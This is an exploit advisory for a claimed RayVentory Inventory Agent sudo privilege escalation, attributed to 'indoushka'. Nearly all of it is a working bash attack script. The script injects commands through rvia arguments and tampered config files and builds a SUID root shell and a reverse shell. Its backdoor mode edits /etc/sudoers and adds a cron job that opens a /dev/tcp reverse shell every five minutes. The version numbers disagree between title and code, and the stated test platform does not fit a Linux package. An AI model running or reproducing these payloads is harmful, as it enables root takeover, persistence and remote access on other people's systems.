=============================================================================================================================================
| # Title     : Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation Vulnerability                                                        |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://raynet.de/                                                                                                          |
=============================================================================================================================================

[+] Summary    :  A privilege escalation vulnerability identified as CVE-2025-69600 affects certain versions of RayVentory Inventory Agent. 
                  The issue arises from improper validation and insufficient restriction of privileged operations when executed through sudo configurations. 
				  Under specific misconfigurations, a local authenticated user may be able to execute unintended commands with elevated privileges.
                  Successful exploitation could lead to full system compromise, including unauthorized modification of system files and persistence mechanisms. 
				  Organizations using affected versions should review sudo configurations, restrict command execution scopes, and upgrade to a patched version as recommended by the vendor

[+] POC : 

#!/bin/bash

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
VULNERABLE_VERSION="12.6.4392.49"
TARGET_DIR="/tmp"
PAYLOAD_NAME="rootme_$$"  # Added PID to avoid conflict
BACKUP_DIR="/tmp/.rvia_backup_$$"
LISTENER_PORT="4444"
CVE_NUMBER="CVE-2025-69600"
REVERSE_IP=""
REVERSE_PORT="4444"
LISTENER_PID=""
CLEANUP_NEEDED=false
EXPLOIT_SUCCESS=false

show_help() {
    cat << EOF
Exploit for $CVE_NUMBER - RayVentory Inventory Agent
Optimized Version 3.0

Usage: $0 [options]

Options:
  -c, --check         Only check for vulnerability
  -e, --exploit       Attempt local exploitation
  -r, --reverse IP    Reverse Shell (Example: -r 192.168.1.100)
  -p, --port PORT     Port (Default: 4444)
  -b, --backdoor IP   Install persistent backdoor
  -h, --help          Show help

Examples:
  $0 -c
  $0 -e
  $0 -r 192.168.1.100 -p 5555
  $0 -b 192.168.1.100
EOF
    exit 0
}

cleanup() {
    if [ "$CLEANUP_NEEDED" = true ]; then
        echo -e "\n${YELLOW}[*] Cleaning up temporary files...${NC}"

        rm -f "/tmp/$PAYLOAD_NAME" 2>/dev/null
        rm -f "/tmp/$PAYLOAD_NAME.c" 2>/dev/null
        rm -f "/tmp/malicious_$$.cfg" 2>/dev/null

        if [ -d "/tmp/bin_$$" ]; then
            rm -rf "/tmp/bin_$$" 2>/dev/null
        fi

        if [ -f "$BACKUP_DIR/rvia.cfg" ]; then
            if [ -f "/opt/rvia/rvia.cfg" ]; then
                cp "$BACKUP_DIR/rvia.cfg" "/opt/rvia/rvia.cfg" 2>/dev/null
            fi
            rm -rf "$BACKUP_DIR" 2>/dev/null
            echo -e "${GREEN}[OK] Configuration file restored${NC}"
        fi
        if [ -n "$LISTENER_PID" ] && kill -0 "$LISTENER_PID" 2>/dev/null; then
            kill "$LISTENER_PID" 2>/dev/null
            sleep 1
            kill -9 "$LISTENER_PID" 2>/dev/null
        fi
        
        echo -e "${GREEN}[OK] Cleanup complete${NC}"
    fi
    exit 0
}

trap cleanup SIGINT SIGTERM EXIT

create_payload() {
    local payload_type=$1
    local payload_path="/tmp/${PAYLOAD_NAME}.c"
    local gcc_output
    
    echo -e "${BLUE}[*] Creating payload: $payload_type${NC}"
    
    case $payload_type in
        "suid")
            cat > "$payload_path" << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    if (setuid(0) != 0) {
        return 1;
    }
    if (setgid(0) != 0) {
        return 1;
    }
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}
EOF
            ;;
        "reverse")
            if [ -z "$REVERSE_IP" ]; then
                echo -e "${RED}[!] Reverse shell IP not specified${NC}"
                return 1
            fi
            cat > "$payload_path" << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>

int main() {
    int sock;
    struct sockaddr_in server;
    
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) return 1;
    
    server.sin_family = AF_INET;
    server.sin_port = htons($REVERSE_PORT);
    server.sin_addr.s_addr = inet_addr("$REVERSE_IP");
    
    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
        close(sock);
        return 1;
    }
    
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    
    execl("/bin/bash", "bash", NULL);
    return 0;
}
EOF
            ;;
        "backdoor")
            if [ -z "$REVERSE_IP" ]; then
                echo -e "${RED}[!] Backdoor IP not specified${NC}"
                return 1
            fi
            cat > "$payload_path" << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>

int main() {
    while(1) {
        if (getuid() == 0) {
            FILE *fp;
            fp = fopen("/etc/sudoers", "a");
            if (fp) {
                fprintf(fp, "\\nroot ALL=(ALL:ALL) NOPASSWD:ALL\\n");
                fclose(fp);
            }
            system("cp /bin/bash /tmp/.hidden_bash && chmod 4755 /tmp/.hidden_bash");
            system("echo '*/5 * * * * root /tmp/.hidden_bash -c \"bash -i >& /dev/tcp/$REVERSE_IP/$REVERSE_PORT 0>&1\"' >> /etc/crontab");
            break;
        }
        sleep(5);
    }
    return 0;
}
EOF
            ;;
        *)
            echo -e "${RED}[!] Unknown payload type: $payload_type${NC}"
            return 1
            ;;
    esac

    if ! command -v gcc &> /dev/null; then
        echo -e "${RED}[!] gcc is not installed${NC}"
        return 1
    fi

    gcc_output=$(gcc -Wall "$payload_path" -o "/tmp/$PAYLOAD_NAME" 2>&1)
    if [ $? -ne 0 ]; then
        echo -e "${RED}[!] Failed to compile payload${NC}"
        echo -e "${RED}$gcc_output${NC}"
        return 1
    fi
    
    chmod +x "/tmp/$PAYLOAD_NAME"
    echo -e "${GREEN}[OK] Payload created successfully: /tmp/$PAYLOAD_NAME${NC}"
    CLEANUP_NEEDED=true
    return 0
}

check_version() {
    echo -e "${BLUE}[*] Checking RayVentory version...${NC}"
    
    local version=""
    local installed=false

    if command -v dpkg &> /dev/null; then
        version=$(dpkg -l 2>/dev/null | grep rvia | awk '{print $3}')
        if [ -n "$version" ]; then
            installed=true
        fi
    fi

    if [ "$installed" = false ] && [ -f "/opt/rvia/rvia" ]; then
        version=$(/opt/rvia/rvia --version 2>/dev/null | head -n1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+')
        if [ -n "$version" ]; then
            installed=true
        fi
    fi
    
    if [ "$installed" = false ]; then
        echo -e "${RED}[!] RayVentory is not installed on the system${NC}"
        return 1
    fi
    
    echo -e "${GREEN}[OK] Installed version: $version${NC}"

    if command -v dpkg &> /dev/null; then
        if dpkg --compare-versions "$version" le "$VULNERABLE_VERSION" 2>/dev/null; then
            echo -e "${GREEN}[OK] System is vulnerable to $CVE_NUMBER${NC}"
            return 0
        else
            echo -e "${RED}[!] Version $version is newer than the known vulnerable version${NC}"
            echo -e "${YELLOW}[!] System might not be vulnerable${NC}"
            return 1
        fi
    else
        echo -e "${YELLOW}[!] Cannot accurately verify vulnerability status${NC}"
        echo -e "${YELLOW}[!] Proceeding with exploitation attempt at your own risk${NC}"
        return 0
    fi
}

check_sudo() {
    echo -e "${BLUE}[*] Checking sudo privileges...${NC}"
    
    if ! command -v sudo &> /dev/null; then
        echo -e "${RED}[!] sudo is not installed${NC}"
        return 1
    fi

    if ! sudo -n true 2>/dev/null; then
        echo -e "${YELLOW}[!] sudo may require a password${NC}"
        echo -e "${YELLOW}[*] Please enter password if prompted${NC}"
    fi
    
    local sudo_config=$(sudo -l 2>&1)

    if echo "$sudo_config" | grep -q "sorry, a password is required"; then
        echo -e "${RED}[!] sudo password required but not provided${NC}"
        return 1
    fi
    
    if ! echo "$sudo_config" | grep -q "rvia"; then
        echo -e "${RED}[!] No sudo privileges found for rvia${NC}"
        return 1
    fi
    
    echo -e "${GREEN}[OK] sudo privileges exist${NC}"

    local patterns=(
        "rvia[[:space:]]*\*"
        "rvia[[:space:]]+getconfig"
        "rvia[[:space:]]+upload"
        "rvia[[:space:]]+inventory"
        "rvia[[:space:]]+oracle"
        "(root)[[:space:]]*"
        "(ALL[[:space:]]*:[[:space:]]*ALL)"
        "(ALL)[[:space:]]*"
    )
    
    local found=0
    for pattern in "${patterns[@]}"; do
        if echo "$sudo_config" | grep -qE "$pattern"; then
            found=1
            echo -e "${GREEN}[OK] Found exploitable pattern: $pattern${NC}"
            break
        fi
    done
    
    if [ $found -eq 1 ]; then
        echo -e "${GREEN}[OK] Configuration is exploitable!${NC}"
        return 0
    else
        echo -e "${YELLOW}[!] Configuration may not be directly exploitable${NC}"
        return 0
    fi
}

exploit_single_method() {
    local method=$1
    local cmd="/tmp/$PAYLOAD_NAME"
    local temp_cfg="/tmp/malicious_$$.cfg"
    
    echo -e "${BLUE}[*] Attempting exploit using: $method${NC}"

    if [ ! -d "$BACKUP_DIR" ] && [ -f "/opt/rvia/rvia.cfg" ]; then
        mkdir -p "$BACKUP_DIR"
        cp "/opt/rvia/rvia.cfg" "$BACKUP_DIR/" 2>/dev/null
    fi
    
    case $method in
        "getconfig")
            sudo /opt/rvia/rvia getconfig \";$cmd;\" 2>/dev/null
            ;;
        "upload")
            mkdir -p "/opt/rvia/results" 2>/dev/null
            touch "/opt/rvia/results/test_$$.xml" 2>/dev/null
            sudo /opt/rvia/rvia upload \"\;$cmd\;#\" 2>/dev/null
            ;;
        "inventory")
            sudo /opt/rvia/rvia inventory \";$cmd;\" 2>/dev/null
            ;;
        "oracle")

            local bin_dir="/tmp/bin_$$"
            mkdir -p "$bin_dir" 2>/dev/null
            ln -sf "/tmp/$PAYLOAD_NAME" "$bin_dir/java" 2>/dev/null
            
            cat > "$temp_cfg" << EOF
javaPaths=$bin_dir/
EOF
            cp "$temp_cfg" "/opt/rvia/rvia.cfg" 2>/dev/null
            
            sudo /opt/rvia/rvia oracle test 2>/dev/null
            ;;
        "config")
            cat > "$temp_cfg" << EOF
configDownloadSource=http://127.0.0.1:$LISTENER_PORT/malicious
schedule:command:$cmd * * * * *
EOF
            cp "$temp_cfg" "/opt/rvia/rvia.cfg" 2>/dev/null
            
            (
                timeout 5 nc -l -p "$LISTENER_PORT" -q 1 2>/dev/null << EOF
HTTP/1.1 200 OK
Content-Type: text/plain

malicious
EOF
            ) &
            LISTENER_PID=$!
            sleep 2
            
            sudo /opt/rvia/rvia getconfig 2>/dev/null
            ;;
    esac
    
    sleep 3
}

check_success() {
    local payload="/tmp/$PAYLOAD_NAME"

    if [ ! -f "$payload" ]; then
        return 1
    fi

    if [ -u "$payload" ]; then
        echo -e "${GREEN}[OK] Privilege escalation successful!${NC}"
        echo -e "${GREEN}[OK] Launching root shell...${NC}"
        EXPLOIT_SUCCESS=true
        "$payload"
        return 0
    fi

    if command -v stat &> /dev/null; then
        local perms=$(stat -c "%A" "$payload" 2>/dev/null)
        if [[ $perms == *s* ]]; then
            echo -e "${GREEN}[OK] Privilege escalation successful (stat)!${NC}"
            EXPLOIT_SUCCESS=true
            "$payload"
            return 0
        fi
    fi
    
    return 1
}

try_all_methods() {
    local methods=("getconfig" "upload" "inventory" "oracle" "config")
    local success=1  
    
    for method in "${methods[@]}"; do
        exploit_single_method "$method"
        
        if check_success; then
            success=0  
            break
        fi
        
        # Restore configuration file after each failed attempt
        if [ -f "$BACKUP_DIR/rvia.cfg" ]; then
            cp "$BACKUP_DIR/rvia.cfg" "/opt/rvia/rvia.cfg" 2>/dev/null
        fi
    done
    
    return $success  
}


install_backdoor() {
    echo -e "${BLUE}[*] Installing persistent backdoor...${NC}"
    
    if [ -z "$REVERSE_IP" ]; then
        echo -e "${RED}[!] Backdoor IP must be specified${NC}"
        return 1
    fi
    
    if create_payload "backdoor"; then
        if try_all_methods; then
            echo -e "${GREEN}[OK] Backdoor installed successfully${NC}"
            echo -e "${YELLOW}[*] Reverse shell to $REVERSE_IP:$REVERSE_PORT every 5 minutes${NC}"
            return 0
        else
            echo -e "${RED}[!] Failed to install backdoor${NC}"
            return 1
        fi
    fi
}

main() {

    local CHECK_ONLY=false
    local EXPLOIT=false
    local BACKDOOR=false
    local REVERSE=false

    while [[ $# -gt 0 ]]; do
        case $1 in
            -c|--check)
                CHECK_ONLY=true
                shift
                ;;
            -e|--exploit)
                EXPLOIT=true
                shift
                ;;
            -r|--reverse)
                REVERSE=true
                if [ -z "$2" ] || [[ "$2" =~ ^- ]]; then
                    echo -e "${RED}[!] IP required for reverse shell${NC}"
                    exit 1
                fi
                REVERSE_IP="$2"
                shift 2
                ;;
            -p|--port)
                if [ -z "$2" ] || [[ "$2" =~ ^- ]]; then
                    echo -e "${RED}[!] Port number required${NC}"
                    exit 1
                fi
                if ! [[ "$2" =~ ^[0-9]+$ ]] || [ "$2" -lt 1 ] || [ "$2" -gt 65535 ]; then
                    echo -e "${RED}[!] Invalid port: $2${NC}"
                    exit 1
                fi
                REVERSE_PORT="$2"
                shift 2
                ;;
            -b|--backdoor)
                BACKDOOR=true
                if [ -z "$2" ] || [[ "$2" =~ ^- ]]; then
                    echo -e "${RED}[!] IP required for backdoor${NC}"
                    exit 1
                fi
                REVERSE_IP="$2"
                shift 2
                ;;
            -h|--help)
                show_help
                ;;
            *)
                echo -e "${RED}Unknown option: $1${NC}"
                show_help
                ;;
        esac
    done

    if [ ! -f "/opt/rvia/rvia" ]; then
        echo -e "${RED}[!] RayVentory is not installed at /opt/rvia/rvia${NC}"
        exit 1
    fi

    if [ "$CHECK_ONLY" = true ]; then
        check_version && check_sudo
        exit $?
    fi
    
    if [ "$BACKDOOR" = true ]; then
        check_version && check_sudo && install_backdoor
        exit $?
    fi
    
    if [ "$REVERSE" = true ]; then
        check_version && check_sudo && create_payload "reverse" && try_all_methods
        if [ $? -eq 0 ] && [ "$EXPLOIT_SUCCESS" = false ]; then
            echo -e "${RED}[!] Exploit failed${NC}"
            exit 1
        fi
        exit 0
    fi
    
    if [ "$EXPLOIT" = true ]; then
        check_version && check_sudo && create_payload "suid" && try_all_methods
        if [ $? -eq 0 ] && [ "$EXPLOIT_SUCCESS" = false ]; then
            echo -e "${RED}[!] Exploit failed${NC}"
            exit 1
        fi
        exit 0
    fi
    
    show_help
}

main "$@"
	
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================